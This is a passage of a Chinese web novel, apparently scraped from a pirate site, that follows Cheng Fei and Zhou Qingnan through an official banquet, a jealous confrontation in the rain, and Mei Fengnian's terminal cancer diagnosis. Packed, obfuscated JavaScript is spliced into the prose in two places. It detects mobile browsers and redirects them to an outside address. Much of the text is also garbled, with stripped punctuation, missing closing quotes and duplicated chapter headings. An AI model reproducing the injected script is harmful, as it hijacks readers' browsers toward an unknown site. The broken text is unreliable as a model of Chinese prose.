“你懂什么,这叫尊重领导,向领导同志表达最高的敬意。”程国礼笑,过去抬臂抱住妻子,语气柔和,“时间不早了,得走了,你胆子小不敢杀鱼,等我回来拾掇。” “嗯。”蒋兰也没多怀疑,朝程国礼点头。 程国礼又在蒋兰脸上亲了一口。 这个举动惹得蒋兰脸发热,抬手就打了他一下,低嗔道:“四十几岁的人了,还腻歪个什么劲?” 程国礼还是笑,大掌在妻子的脑袋上习惯性地轻揉两把,转身出门。 程国礼开着车,平缓驶出小区车库门。 蒋兰趴在楼上的窗户里打望着,看眼车辆行驶的路径,一琢磨,确实是去花水溪的路,便也没再多想。 * 滨港市今天的天气和平南一样,都是大晴天。 程国礼的车从平谷区驶出,约莫八分钟后,在滨港市第八小学的后门附近停下。 坐驾驶室里等了会儿,不多时,副驾驶席的车门便被人从外面拉开。 程国礼侧目,瞥了上车的人一眼,面露不悦:“让你给我带的红牛呢?” “没忘。”陈家槐对这老情敌八万年也没好脸色,语气冷冷的,随手从装早餐的塑料袋里掏出一罐红牛扔过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“又一年了。”陈家槐抬手,仿照当年拍古人肩膀的动作,在墓碑的上方轻拍两下,“老兄弟,平时闲着,也给拖个梦什么的,不然咱们都不知道你在那边怎么样。” 今天不是清明,也不是周末假日,偌大的墓区放眼望去,好像只有陈家槐和程国礼两 个人,安静到极点。 陈家槐看着墓碑上那行冰冷的刻字,沉吟片刻,又道:“今年……还是没有那孩子的消息。 话音落地,正在擦墓碑的程国礼动作骤顿。 片刻,他转头看了陈家槐一眼,迟疑地说:“当年你远走云城,就是为了打探那孩子的下落,这么多年,就一点消息也没有? 陈家槐摇头,眸光深远而沉重,道:“为了找到他,这些年我几乎踏遍了半个中国,可是他就像凭空消失了一样,没有留下任何痕迹。 程国礼皱眉:“当年是谁把他从桐树巷带走的,查到了吗? 陈家槐还是摇头。 须臾,他垂着眸哑声挤出一句话:“我对不起阿城。 见陈家槐这副样子,程国礼心里也不好受。他轻轻叹出一口气,将手里的抹布丢回水桶,过去拍了把陈家槐的肩,道:“只能怪老天不公。当年阿城出事的时候,我在外地出远差,你和顾静媛也都在国外回不来,兰兰对阿城又一直都……真要说对不起,我比你更对不起他。 陈家槐没吭声。 程国礼又道:“你为了找到那个孩子,已经付出你大半生了。 陈家槐仰头看了眼天,好半晌才说:“我会继续找下去。 风似乎有片刻静止。 程国礼看着陈家槐眼角爬上的皱纹,轻微拧了下眉,道:“要是一辈子都找不到呢?要是那个孩子已经不在了呢?这些问题你想过没有。 “活要见人,死要见尸。陈家槐侧目,盯着程国礼道,“除非他化成一团灰,不然我一定能找到他。 对上陈家槐锐利如炬的目光,程国礼怔了怔,脑子里莫名便浮现出一张模糊的轮廓照片…… 陈家槐看出程国礼神色怪异,蹙眉:“你怎么了? “……程国礼回过神,被自己那个离谱又荒诞的猜测给逗得笑出一声,摇摇头,“没什么。给阿城敬酒吧。 “嗯。 两人说完话,便弯腰将碑前的两个酒杯举了起来,扬手一撒。 最后一道仪式完成,今天的扫墓之行就算结束。 陈家槐和程国礼跟故人道了别,随后便转过身,并肩朝墓区的停车场方向走。 走到半途,天 空忽然划过一阵鸟鸣几只飞鸟扑扇着翅膀穿越云霄。 程国礼忽然出声用最随意的口吻问陈家槐道“顾静媛之前看到过菲菲那个地下恋男朋友她跟你说过什么没?” “没说过什么。”陈家槐有点不解地看程国礼“怎么?” 听见这个回答程国礼愈发笃定了自己的联想是天方夜谭失笑之余语气也轻松几分给陈家槐递过去一根烟说:“听说长得不错下次有机会帮我见见。” 陈家槐把烟接过来懒洋洋地笑:“能见上当然最好也看看咱们小丫头的眼光。” * 侯三开车野得很上了高速就像解除了封印一百码急速狂飙程菲长这么大还没坐过这么快的车让这位掌舵的兄弟甩得心惊肉跳魂都差点飞出去。 她脸色隐约有些发白 一旁周清南将姑娘的所有微表情与动作尽收眼底轻微拧了下眉寒声交代驾驶席:“车开慢点儿。” 闻言刹那车厢里的另外两个人都是一愣。 程菲眼神轻微动了动条件反射般转过眸看了身旁的男人一眼。 紧接着车厢内便响起侯三的声音忙颠颠地赔笑:“是我开太快嫂子不习惯吧?不好意思啊大嫂我年轻那会儿是赛车手开车的习惯不好您千万别跟我计较。”说话的同时一脚踩刹车车辆行驶速度也随之降下来。 “没事的。”程菲有点窘迫回道“稍微慢一点点就可以我适应一下。” 侯三也是细心人。他扫了眼中央后视镜看那年轻姑娘脸色微白一副心有余悸的样子便问道:“嫂子喜欢哪个歌手?我给你放点音乐听。” 干巴坐车是没什么意思。 程菲想了下说道:“最近我都听的老歌你放《一生所爱》吧。” 侯三笑:“巧了我也喜欢卢冠廷。” 没一会儿旋律响起男歌手磁性的歌声飘扬出来:“从前现在过去了再不来红红落叶长埋尘土内开始总结总是没变改天边的你漂泊白云外。苦海翻起爱恨……” 第 46 章 勾人。 第46章勾人。 确实是来得早不如来得巧,程菲和周清南刚于“兰贵之香”大饭店门口落车,梅家的四公子梅景逍便也紧随其后地到了。 至此,兰贵考察团的所有主力人马便悉数到齐,大部队集结完毕。 梁瀚作为此次考察的协调人员,对来考察的赞助方和当地政府都比较熟悉,眼瞧着双方的重要角色已经碰了面,当即站出来,为初次见面的两方做起介绍。 “周总,梅总,一路辛苦了。”梁瀚朝周清南和梅景逍露出个灿烂笑容,说着又摊手往后一比,介绍道,“这是兰贵县县委的张书记、许副书记、刘秘书、韩秘书。还有兰贵县白杨村的小赵主任。” 话音落地,程菲的目光下意识便顺着梁主任手比划的方向望去。 只见等候在饭店门前的一行人共有五位,其中张书记和许副书记站在众人的最中间,两人的年龄都在五十五岁上下,身着深蓝色的行政夹克,一个身形清瘦戴着眼镜,看上去文质彬彬,另一个稍胖些,圆润的脸庞油亮油亮的,笑容洋溢,长得十分面善。 很符合程菲这种小职员对政府领导层的想象。 与两位核心领导不同,另外两个秘书老师的年龄看起来就要年轻许多,都是四十来岁,一男一女,衣着朴素笑容温和,各自手里都拎着一个纯黑色公文包。 程菲不动声色地打量着兰贵县政府一行,目光在扫过韩秘书和刘秘书后,落在最左侧边角的位置上。 程菲眨了眨眼,眸中跳跃出几丝诧异的光。 那是一个身姿清挺而修长的男人。或者,更准确的说,是一个非常年轻的大男孩。 他皮肤白净,五官清秀,一头纯黑色的短发蓬松柔软,在明晃晃的烈阳底下一照,反射出浅金色的细碎光芒,脸上的笑容也十分阳光爽朗。 和其他人一样,大男孩身上也穿着老气横秋的行政夹克衫,但身上那种青春的气息却遮掩不住。 男孩实在太年轻,杵在一堆中老年人里颇有几分扎眼,程菲看了第一眼后又忍不住看了第二眼。 心中暗道:难怪梁瀚介绍这人的时候要在姓氏和职务前面加个“小”字。 年纪是真的小。 这是大学 刚毕业就过来当村官儿了吧? 她在心里猜测着。 这时,梁瀚介绍完兰贵政府一行,又转头向他们介绍起了考察团的具体人员组成,面上笑容依然灿烂,道:“张书记,这就是周总和梅总,另外还有梅氏集团的两个高层领导。 张书记等人笑着走上前,依次同周清南、梅景逍一行握手,口中连声说欢迎。 梁瀚见两边的主角已经打完招呼,稍微顿了下,余光带着几分轻蔑和不爽的味道扫过周清南身旁的程菲,随后便故意收了声,不再说话。 这边的程菲面容含笑,胳膊微抬,都已经准备伸出去和县领导们握手了,见梁主任忽然闭嘴,连自己名字都没提一下,整个人顿时愣住。 这种场合,程菲这种职位的小角色本来就不好发言,加上没料到梁瀚会当着这么多人的面给自己下马威,她确实是有点始料未及。 这边,县委书记等人也已经上前准备握手,看眼被梁瀚晾在一边儿的漂亮小姑娘,也是愣了下,彼此对视一眼,不明所以。 气氛有半秒的僵硬。 就在程菲微抿唇,准备若无其事地给自己做自我介绍时,一阵人声却突兀响起,对县委等人道:“这是程菲,程助理。 为什么是“一阵人声而不是一道?因为这句话,是由两个截然不同的声线同时发出。 一道清润低柔和如春风细雨,一道低沉淡漠,光听声音便令人觉得疏离不近人情。 是周清南和梅景逍。 话音落地。 说话的两个男人似乎都没料到对方会出声,拿眼风互扫一眼,目光不善。 夹在中间的程菲:“…… 再简洁不过的一句介绍词,从这两位口中说出来,瞬间令在场所有人的脸色都变得微妙。 张书记等人在官场上混了大半辈子,个个都精得很,按理说什么阵仗没见过。可眼下这种场景,还真是令几位领导有点儿懵。 滨港电视台的一个小助理,这职位也不是什么重要角色,上司把人晾旁边不理睬,两个最重量级的大人物却异口同声上赶着给这小姑娘做介绍,什么情况? 张书记和许副书记悄然对看了一眼,一时间都没做出反应。 两个县领导没反应,可边儿上的梁 主任反应却大了。 他本来就对程菲这段时间得到的“特殊待遇不满,这会儿见周清南和梅景逍两尊大佛同时替她解围,心里那股不平衡的感觉顿时变得更加强烈。 梁瀚又不爽又嫉妒,可他也不是傻子,周清南和梅景逍都开了尊口,他再继续无视程菲给她难堪,岂不是驳这二位的面子? 因此下一秒,梁瀚就故作抬手拍了拍脑门儿,一副懊恼表情,说道:“瞧我,怎么把程助理给忘了。对对对,还有程菲程助理,咱们台现在最受器重的大红人! “程助理年纪轻轻就有这样的建树,真是让人刮目相看啊。 张书记脑子灵活得很,赶紧顺着梁瀚的话往下接,笑盈盈地和程菲握手,“小同志,之后的一周,要是发现咱们这边有做的不妥的地方,还请多多指教。 “书记您太看得起我了。程菲也很快调整好情绪,回张书记一个谦虚温婉的笑,恳切道,“徐总监有要事在身走不开,所以才派梁主任领队过来,我就是个跑腿打下手的,还想在各位领导身上学东西呢。 到底是个年轻小姑娘,张书记等人被这番朴实又真诚的言论逗得笑出几声,看向程菲的眼神里也多出几分赞许意味。 就在这时,一旁的年轻村主任笑着开口,对众人道:“周总梅总,书记领导,里头的茶水点心什么的都备好了,要不咱们进去坐下聊? “是是,是我糊涂了。张书记含笑点头,转眸看向周清南与梅景逍,说,“周总梅总,里面请! 周清南淡淡笑了下,应道:“书记请。 梅景逍面上也是种保持着那抹温雅浅笑,温和地说:“早就听说,兰贵之香的傣家菜在全国都排得上名号,今天可算有口福了。 几人说笑寒暄,齐齐进了饭店大门。 程菲很乖觉地走在最后面。 走着走着,默默抬眸,看向走在队伍正中,被其余人众星拥月般包围的周大佬和梅四少,她不禁小肩膀一塌,两侧太阳穴隐隐作痛。 也不知道这两位兄弟到底有什么仇什么怨,一见面就刀光剑影的。 之后的日子,不用想也知道肯定很“精彩。 * 事关县里的扶贫工作,考察团一行自然而然被张书记等人奉为 了上宾中的上宾接待涉及的食住行全都用的规定范围内的最高规格。 进了用餐的雅间程菲抬眼一瞧才发现张书记等人确实用心。 就连吃饭的座位都是提前排好的每个位子前方的桌子上都摆着一个姓名牌。 周清南和梅景逍分别在左主位与右主位张书记和许副书记则一个在周清南左侧一个在梅景逍右侧。 座位已经提前定好 众人也对这样的排座没异议进屋之后便对照各自的座位牌落座。 程菲打望了一圈看见自己的姓名牌后安静入席。坐定侧眸瞟向自己身边的空位。 左侧是空出来的上菜位右侧位子倒是有人坐打印的姓名牌上写着三个字:赵逸文。 赵…… 程菲微蹙眉在脑海中回忆了下之前同梁瀚口中听见的介绍想起来县委这行人里似乎有且仅有一个姓赵的。 正琢磨着眼前一道黑影闪过她右侧的位子便坐下来一个人。 果然是那位年轻帅气的大男孩村主任。 “程助理你好。”赵逸文的性格阳光开朗不拘小节坐下之后便热情地跟程菲打招呼脸上洋溢开灿烂的笑容“我姓赵是兰贵县白杨村的村委会主任。” 程菲见这位年轻的村长同志这么热络也没那么拘谨了笑着回应道:“你好小赵主任。” 赵逸文长得阳光帅气皮肤也白是那种很容易让人放下芥蒂心的面相。他目光在程菲小巧娇艳的脸蛋上打量两秒笑着说:“其他人喊我小赵主任是我真的比他们年轻可你怕是比我还小吧?” 程菲说:“我都大学毕业好几年了。” “是吗?我还以为你跟我一样都是才毕业呢。”赵逸文说。 听见这话程菲忽然生出了点好奇又问他:“你是兰贵本地人?” “不是。”赵逸文摇头端起桌上的茶杯喝了口“去年白杨村面向全国高校招大学生村干部我报了个名然后就过来了。我老家云城的。” 程菲诧异:“这里和云城差别不是一般大呀。你能适应这儿的生活?” 赵逸文耸耸肩回答:“刚开始还是有点不适应但 是这不是已经过了快一年了吗,早习惯了。” 程菲:“你是为什么想来这里当村官?” “听说这里很多村子都穷,好些村民连吃饭都成问题。”赵逸文语气随意,“就想着过来试试看,能不能帮点什么忙。” 程菲闻言,看向赵逸文的眼神里不禁平添一丝敬意,忍不住竖起大拇指:“赵先生大义。” 赵逸文被她可爱的小表情惹笑,对这个从滨港来的漂亮姑娘好感更甚,动手给她添了点茶水,说:“兰贵虽然比较落后,但民风淳朴美食也多,程助理刚来路上也辛苦,先安顿下来,之后我再带你去好吃的。” 程菲默默喝了点茶水,本来想婉拒的,但又觉得初次见面这样驳政府方的面子不太好,只好还小赵主任一个笑,不作回应。 饭局正式开始。 张书记先举杯提酒,又是热烈欢迎贵客的到来,又是感谢各方力量对兰贵县脱贫工作的支持,不愧是整个县的一把手,开场白流畅自若地说了整整五分钟,硬是没打一个磕巴。 首杯过后,众人便边吃菜喝酒,边聊起了后续的具体工作。 周清南全程都没怎么说话。 他只是安静地吃东西,偶尔遇上张书记等人来敬酒,便意思意思喝一杯。 偶尔看几眼饭桌的对面位子。 程菲和赵逸文各自作为考察团和政府方最年轻的人员,似乎理所当然就该坐在一起。 加上二者年龄差不多,说说笑笑地聊着天,场面出奇和谐。 可这一幕落在周清南眼中,却令他格外不爽。 也不是第一次因为类似的事儿不爽了。 上回在滨港的一个中式餐厅吃饭,这小东西全程对着梅景逍大献殷勤,又是跟梅四谈天说地聊油画,又是一杯接一杯地向梅四敬酒,当时就把周清南气得够呛。 这顿饭倒好。 梅景逍这头没了动作,又莫名其妙杀出来一个大学生村官,壮志凌云意气风发,简直要把她的魂都给勾走了。 周清南手里端着一杯白酒,眼帘微抬,眼睛直勾勾盯着桌子对面。 大学生村官不知说了什么,又拿出手机给姑娘看。她像是感兴趣得很,抻长脖子凑近了去看,然后又抬起乌黑晶亮的明眸望向身旁的男孩,舒眉 展颜那么一笑居然风情万千。 表情眼神仪态动作甚至一双眸子弯起的笑弧都透着股莫名的勾人。 周清南面无表情喝完剩下的酒然后将已经空了的白酒杯重重放回了桌面上。 白酒杯是上好的骨瓷质地底部撞击桌面发出一声沉闷的“砰”声。 这响动不大不小却正好被对面的程菲听见。 “……”她面上的笑色稍凝下意识转过视线看了主位上的男人一眼。 隔着一张圆桌直径的距离两人的目光对在一起。 张书记等人都是酒场上的老江湖加上盛情难却周清南已经被敬过不少酒。此时浅茶色的瞳仁已经变得暗而深黑沉沉的晦涩难辨。 程菲愣了下。 看不出这人醉没醉只觉他眼眸深处像打翻了两池浓稠的墨直勾勾盯着她像下一秒就要拉出丝来。 心跳无端漏掉一拍。 对视不到两秒钟她便慌张地重新低下头往嘴里喂进一勺乌鸡汤在心里嘀咕道:不好好吃饭看着我干什么? 我长得比这满桌子菜还好吃吗? 这时旁边的小赵主任察觉她脸色有些异常关心地问:“需不需要把空调温度调低一点?” “嗯?”程菲迷茫抬眸看赵逸文“把空调温度调低干什么?” 她人长得本来就好看这会儿双颊浮起两片红云愈发显得娇艳明丽。 赵逸文到底只是个二十出头的小年轻 程菲闻言窘迫迟疑地抬手摸摸脸干笑着鬼扯:“不热就是有点闷我等下出去透个气就好。” 赵逸文很殷切:“那我陪你?” “不用不用。”程菲赶紧拒绝“我自己一个人去就行。” 两人低声说着话周清南注视着不远处的年轻姑娘和年轻大男孩又面无表地喝下一杯酒脸上不显愠色周身的气场愈发凌厉森冷。 就在这时耳畔蓦地响起一声低笑。 周清南垂眸放下酒杯拿余光凉凉扫去一眼。 “怎么咱们周总 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717616|94205||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 今天有心事?梅景逍纤长的直接捏着手里的酒杯,轻挑眉,碰了碰周清南面前的酒杯,骨瓷撞击,发出清脆的轻鸣,“叮—— 梅景逍:“自己一个人一声不响,都连喝三杯了。 话说完,梅景逍嘴角勾着抹玩味的笑,也抬起手臂,将杯子里的白酒一饮而尽。 周清南扯唇,皮笑肉不笑,淡声回道:“菜好酒也好,多贪了几杯而已。 “酒喝多了容易不清醒,不清醒就容易误事。周总还是少喝几杯比较好。梅景逍含笑瞧着他,也放下酒杯。 忽然听见对面传来一声轻响,是椅脚摩擦红木地板的声音。 梅景逍和周清南同时抬眸。 程菲脸蛋红扑扑的,觉得雅间里确实有点闷,加上汤喝多了有点内急,站起身挪步子,悄无声息地拉开雅间门,离席出去了。 这顿饭的酒是张书记等人带来的。 兰贵的本地酒,67度,口味纯正,据说酒后也不容易头疼,唯一的毛病就是度数太高。 一喝得急,就容易醉。 其实梅景逍那句话说得对,不清醒就容易误事。 周清南脑子有点儿沉,闭眼捏眉心,缓了两秒,顺手从桌上拿起烟盒跟打火机,准备去外面点根烟醒酒。 不料,跟张书记等人打完招呼,刚站起身,旁边的梅四公子便也站了起来。 “一个人喝酒一个人抽烟,多没意思。梅景逍朝周清南笑,声音轻几分,语气意味悠长,“周总,一起啊。 * 滨港市南三环外,坐落着全滨港乃至全国最大一座私立医院:安山国际医院。 安山国际医院隶属梅氏医药,是梅氏集团在整个生物医疗界的王牌产业之一,云集世界名医、全球一流的各项先进设备,现任院长叫麦克·基维尔,中美混血,美国籍,曾在梅奥诊所担任过七年院长,其医术水平享誉全球,是被梅氏以高出梅奥诊所三倍的薪资挖过来的重量级人才。 同时,麦克·基维尔也是国际癌症专项研究协会的副会长,扎根癌症领域多年,为人类攻克癌症这一难题做出过多项重大贡献。 也正是因为麦克医生的存在,安山国际医院每年都会接诊数以万计的癌症患者——全球各地的富豪们不惜斥下重金, 不远千里来到中国滨港,求医续命。 午后的滨港艳阳高照,天上没有一片云,碧蓝如洗,只有微风轻拂树叶的沙沙声。 安山医院的院长办公室内,白发苍苍的外籍医生鼻梁上架着一副老花镜,坐在办公室后方,眉头深锁神情凝重,正翻阅着手里的一摞检查报告。 不多时,轻轻一声“砰”。 青花瓷茶杯扣上盖子,被对面一只修长苍白的手放在了办公桌上。 梅凤年抬手掩唇,又闷闷地咳嗽了几声,一旁西装革履的助理见状,当即上前替他抚背顺气,却被梅凤年不耐烦地摆了下手,挥退到一旁。 今天夜里,梅凤年还要乘公务机飞去澳门参加一场晚宴,因此他身上衣着考究,剪裁得体的纯手工西服勾勒出一副高大颀长的体格,领间不系领带,而是一块深紫色的温莎结,往上牵连的脖颈线条修长而优美,整个人的精气神比之前要好许多,也像年轻了好几岁。 咳嗽完,他轻轻喘了口气,淡声问对面:“你拿着我的检查报告,翻来覆去看了都快十分钟了,有救没救,倒是给句话。” 一旁的助理说着一口纯正的伦敦腔,同声翻译。 麦克医生听后,又沉默了大约三秒钟,才迟疑地抬眸,回了一长串。 助理闻声,脸色瞬间微妙变化,迟迟道:“梅总,麦克医生说,最新的检查报告显示,肿瘤已经……转移到了骨和肝脏。” “那就是没救了呗。”梅凤年面上不见丝毫的惊慌与恐惧,轻轻嗤了声,“一句话就能说清楚的事,浪费我这么多时间。” 说完,梅凤年又给自己点燃一根雪茄。 麦克医生看着吞云吐雾的病人,表情说不出的无语,沉声,用中文一字一顿道:“梅先生,从你确诊肺部CA的第一天我就警告过你,一定要戒烟,你……” 梅凤年:“戒烟我就能活?” 麦克医生被噎了下,回答:“至少情况会有好转。” 梅凤年不耐烦,在心里吐槽着糟老头子话还不少,敷衍地应:“知道了知道了。” 数分钟后,梅凤年在助理的陪同下从院长办公室离去,见花园里的花开得不错,难得生出几分雅兴,便随便寻了个长椅坐下来,抽烟赏花看风景。 看了没一会儿 一阵急促的脚步声忽然朝他而来。 梅凤年闻声侧头撩了下眼皮什么都没来得及看清楚一道小小的身影便飞扑似的落进他怀中。 梅凤年皱了下眉眼风冷冷扫过身旁的助理。 助理被吓得不寒而栗诺诺低下头颤声说:“对不起梅总是蝶小姐吩咐的一定要把这次的复查报告第一时间详尽汇报给她。如果我不照做蝶小姐不会放过我的。对不起请您饶了我。” 梅凤年没再看助理。 怀里小小的女孩哭得声嘶力竭要岔气似的肩膀抽动个不停。 梅凤年无奈抬手轻轻抚了下她满头乌黑的发漫不经心道:“几年也见不到你哭一次。这哭得还挺好看等我死了也要像这样给我哭丧。” 周小蝶抬起通红的大眼狠狠瞪他:“你要是敢死我就杀了你。” 梅凤年被她惹得笑:“我死都死了你怎么再杀。” 周小蝶被哽住想把眼泪憋回去又实在忍不住再次痛哭失声。 “好了。”梅凤年抬指轻轻拭去她眼角的泪。他声线本就沙哑低着嗓子说话无形间便显出几分难言的柔对她说“真羡慕你这么多年了你还是和当年我在福利院门口第一次见到你的样子没什么区别。我都这么老了你还像个孩子。” “不要离开我。”周小蝶将脸贴上他的手眼底赤红“梅凤年。我求你。” 梅凤年嘴角很轻地勾了下说:“说起来养了你这么多年还从来没有听你喊过我一声爸爸。到我咽气之前能听你叫一声吗?” 周小蝶讥讽又凄楚地笑:“你明知道不可能。” 她微微合上眼脑中依稀浮现出多年前的一幕: 福利院门前阴雨绵绵男人一袭笔挺的纯黑西装站在她身前 那年他冷冷对她说:“我知道你有病也知道你的病终身不治但是我不介意。只要你是个忠心的好孩子我就会为你冠上我的姓从今以后你就是我护下的人世界上再也没有人敢欺负你。” 当年初见周小蝶记那一幕记了几十年。 如今再回首才发现已经过完了半生。 第 47 章 知不知道我有多担... 第47章知不知道我有多担 天空北方的浓云缓慢倾轧而来,将晴朗吞噬,整片天色仿佛都笼在了暗影中。 分明是午后,青天白日,露天儿童乐园这里却因过暗的天色而显得格外压抑沉闷。 但此时此刻,比天色更暗的却是男人的眼睛。 或许是因为67度的本地酒实在冲脑,隔着几步远的距离,程菲清楚地看见,周清南平日里清浅淡漠的眼眸此时竟黑沉沉一片,笔直不移锁住她,像两口不见底的墨渊,要将她溺毙。 心跳错乱和愕然都只在一瞬。 下一秒,程菲很快便回过神,暗自做了个深呼吸,尽量用很淡定的口吻说:“周总应该是醉了。还是回雅间里坐着休息,喝点汤喝点茶,醒醒酒。” 话音落地,对面的周清南静默片刻,竟忽然侧过头闭上眼,轻摁着眉心嗤笑出声。 笑里带着几分轻讽的味道,在嘲弄他自己。 醉了? 当然醉了。 哪怕只剩下七成清醒,他的理智也不会允许他说出刚才那两句话。 质问她为什么对那个大学生笑那么甜,质问她为什么不懂得收敛美色和身上那种致命的吸引力。 上回是梅景逍,他还能有个冠冕堂皇的理由,因为梅景逍居心叵测城府极深,打从一开始接近她就没安好心。他可以理所当然地用这种说辞告诫她,要她远离梅四,要她乖乖躲在他的羽翼之下,要她只信任他。 但现在对象变了。 人家一个愿意告别繁华的都市生活,毅然来到穷乡僻壤搞扶贫的大学生村官,壮志满怀,家世清白,他又拿什么由头来要她拒绝,要她远离? 周清南合着眸,掐摁眉心的指愈发用力,薄唇紧紧抿成了一条线。 想想多荒谬。 他和她是什么关系,凭什么对她提这种非分又无理的要求?凭什么阻挠她正常交际、去接触优秀的异性同龄人? 看来自己是真醉了。 忽地,穹顶一阵闷雷响起来,天色变得更黑。 程菲见对面的大佬半天都未作声,狐疑地皱了下眉,以为他是酒劲上脑晕得厉害了,潜意识便生出几丝担心,于是往前走两步,试探着道:“周 总?您还好吗?” 话音落地,几米远外的周清南又静默了会儿,然后才将手臂垂下去,抬头睁眼,脸上神色也重归往日的冷峻无澜。 “是喝多了点儿。” 周清南回转视线,目光落在姑娘糅杂着担忧的小脸上,语气淡淡,“不好意思,在程助理面前失态了。” 程菲见他没什么大碍,放下心来,眼帘也随之低垂下去,自言自语似的轻声:“你这算什么酒后失态,跟昨晚的我比起来,小巫见大巫。咱们俩也算扯平了吧。” 这两句嘀咕碎碎念随风飘入周清南的耳,他眉峰微抬一寸,有点儿没听清楚:“什么?” “……没有。” 程菲朝他挤出个笑,嘴角弧度僵僵的,尽量用公事公办的口吻,道:“我说既然你没什么事,那我们先回雅间吧,张书记他们都还在,让人家等久了也不太好。” 周清南点了下头。 程菲随后便转过身,准备离开儿童乐园回用餐区。 谁知刚走出两步,背后的大佬却又再次出声,叫住了她:“程菲。” 不是“程助理”也不是“程小姐”,而是她的全名,语气如常,似乎生疏了些,又像是……亲昵了些。 程菲眸光轻微地闪了闪,稍迟疑,也又一次回头看他。 头顶乌云翻涌,似乎预示着一场暴雨即将泼下。 周清南深邃的眼眸直勾勾注视着她,终究还是没忍住,问出了口:“那个小赵主任,你好像和他挺聊得来?” 程菲想了想,点头,像是想起什么有趣的事,嘴角一弯便下意识跟他分享:“小赵主任是云城人,我有个远方表叔也在云城,刚才我们聊了一会儿,发现我表叔跟他家居然就住在一条街上。云城那么大,真的很巧呀!” 周清南目光不离,从她洋溢着笑色的眼角眉梢、与唇畔娇美的弧度上流转而过,顿了下,又问:“你对他有好感?” “……” 像是没料到这位大佬会忽然有此一问,程菲听后怔了下,有点茫然地眨了下眼睛,呆呆回问他:“这是怎么得出的结论?” 老实说,程菲这会儿是真觉得迷。 她和赵逸文年纪没差多少,加上又无意间发现了表叔跟这位小村官是邻居,惊叹于这份神奇的 巧合,所以才会多聊两句。 这位大佬居然就凭此推断她对小赵主任有好感?什么鬼呀。 听完姑娘的反问,周清南却没有答话,仍直勾勾盯着她看,嗓音微沉:“回答我。” “……当然没有了!”程菲简直哭笑不得,睁大眼睛瞪着周清南,脱口而出,“就刚才那种场合,我和小赵主任都是各自双方的小虾米,又坐在一起,我不跟他聊跟谁聊,跨过整个桌子来找你吗?” 小姑娘说话的嗓音天生就软而细,拔高了音调表达不满,嗔怒也像撒娇,勾得周清南心底发痒。 他听见她反驳的话语,瞧见她啼笑皆非的可爱小表情,笼在心底的那片阴霾莫名便散了开。像是风扫落叶狂浪卷舟,眨眼功夫就把他所有的烦躁和不爽都给清扫得干干净净。 不自觉的,周清南嘴角弯起一道若有似无的弧。 这种感觉很奇特。 像是如释重负松了口气,又像是心爱的宝贝失而复得重新回到手里。一喜一乐,一怒一松,全部情绪,都被她如此轻易地牵动和左右。 明知喝下去的是鸩毒酿的酒,饮一口就粉身碎骨,他也甘之如饴。 周清南站在原地没有说话。 程菲却再次品出了些不对劲,目光在男人脸上打量一遭,狐疑地小声道:“你为什么会问这种问题?” 她说着,稍稍一顿,又禁不住补充了个问句,“你很关心很在意,我对小赵主任是什么感觉吗?” 周清南盯着她看了会儿,须臾,回道:“是。” “……”程菲愣住。 周清南眸色很沉:“我很关心,也非常在意。” “……” 兰贵的天气本就炎热,之前是顶着太阳干晒,这会儿太阳没了,乌云压顶,整个世界便显得闷热又潮湿。 在听完周清南给出的回答后,程菲胸口猛地突突两下,顿觉心跳混乱耳根起火,双颊火烧火燎地烫。 是热也是慌,她心跳太急,血液流速太也快,掌心湿漉漉了还不算,脊背渗出的薄汗将背上的衣衫也打湿,大脑内心全都兵荒马乱。 ——为什么关心,为什么在意? 程菲看着几步远外的男人,喉咙轻轻滚动了两下,这几个字眼已经滚到了舌尖唇齿,险险就 要出口。 目光交错无声对视只在短暂的两三秒。 最终闪电划破天际又是一道雷声在天际乍响比之前那次更大也更闷长将程菲从混乱的思绪中惊醒。 夏雨倾盆一点不细腻豆大的雨滴从天空坠落没有从小变大的过程一来便瓢泼张狂。 雨水打在程菲身上瞬间将她垂落耳际的发丝浸湿黏在脸颊。 “……雨太大了快走吧!”她抬起两只手挡住眉毛上方隔着雨串珠帘匆匆又瞥周清南一眼然后便再不敢多留逃也似的小跑离去。 只留给他一个仓皇失措的纤细背影。 周清南站在原地没有动安静地目视那道身影。 姑娘离玻璃门很近 雨越下越大雨珠也越连越密。 他酒还没有醒透脑子依然残余一丝晕眩感用力甩了甩头也动身准备回去。 人高腿长先天便占优势。周清南踏着步子往玻璃门方向走边走边摸裤兜里的烟敲出一根白色香烟的同时他人已经在用餐区的封闭空间里。 或许是天降大雨的缘故走廊这片很热闹人声喧哗。 有包间的客人带着小孩出来吃饭小朋友吃饱了坐不住撒丫子满走廊地跑大人就跟在后面追。实在追累了索性抱起孩子走到落地窗墙前看雨。 “雨下雨——”孩子的奶奶柔声教导。 一两岁的小宝宝便咿呀跟着学奶声奶气地发出“yu”声粉嘟嘟的脸蛋圆润可爱像传统年画里的小福娃。 普普通通的平凡人缩影却有种说不出的温馨。 周清南瞧着一旁的小奶娃和怀抱宝宝的阿姨扬扬眉眼底神色变得柔和摸出的烟在指间转了两圈又放回去。 也抬眸去看外面的雨景。 酒精作用下的大脑有点失控。耳畔嘈杂喧嚷各色声响都愈发密周清南在恍惚之间却仿佛堕入了异度空间被真空似的隔绝开。 耳畔的喧哗声他听不见窗外的雨打芭蕉他看不见。 脑子里不受控制地浮现出年轻姑娘在雨中奔跑的一幕。 只有一个背影。 她今天穿的是件连衣裙衬衣样 式珍珠扣,大方而得体。可是那样得体的裙装,随她奔跑的动作,裙摆上滑,随着雨水的浇洒,湿润黏腻。 周清南清楚地记得,刚才有无数滴雨水,湿润了她雪白纤细的腿。 神思飞转之间,他几乎是颓然而溃败地微合眸,抬手,在脸上抹了把。 人走火入魔是什么样? 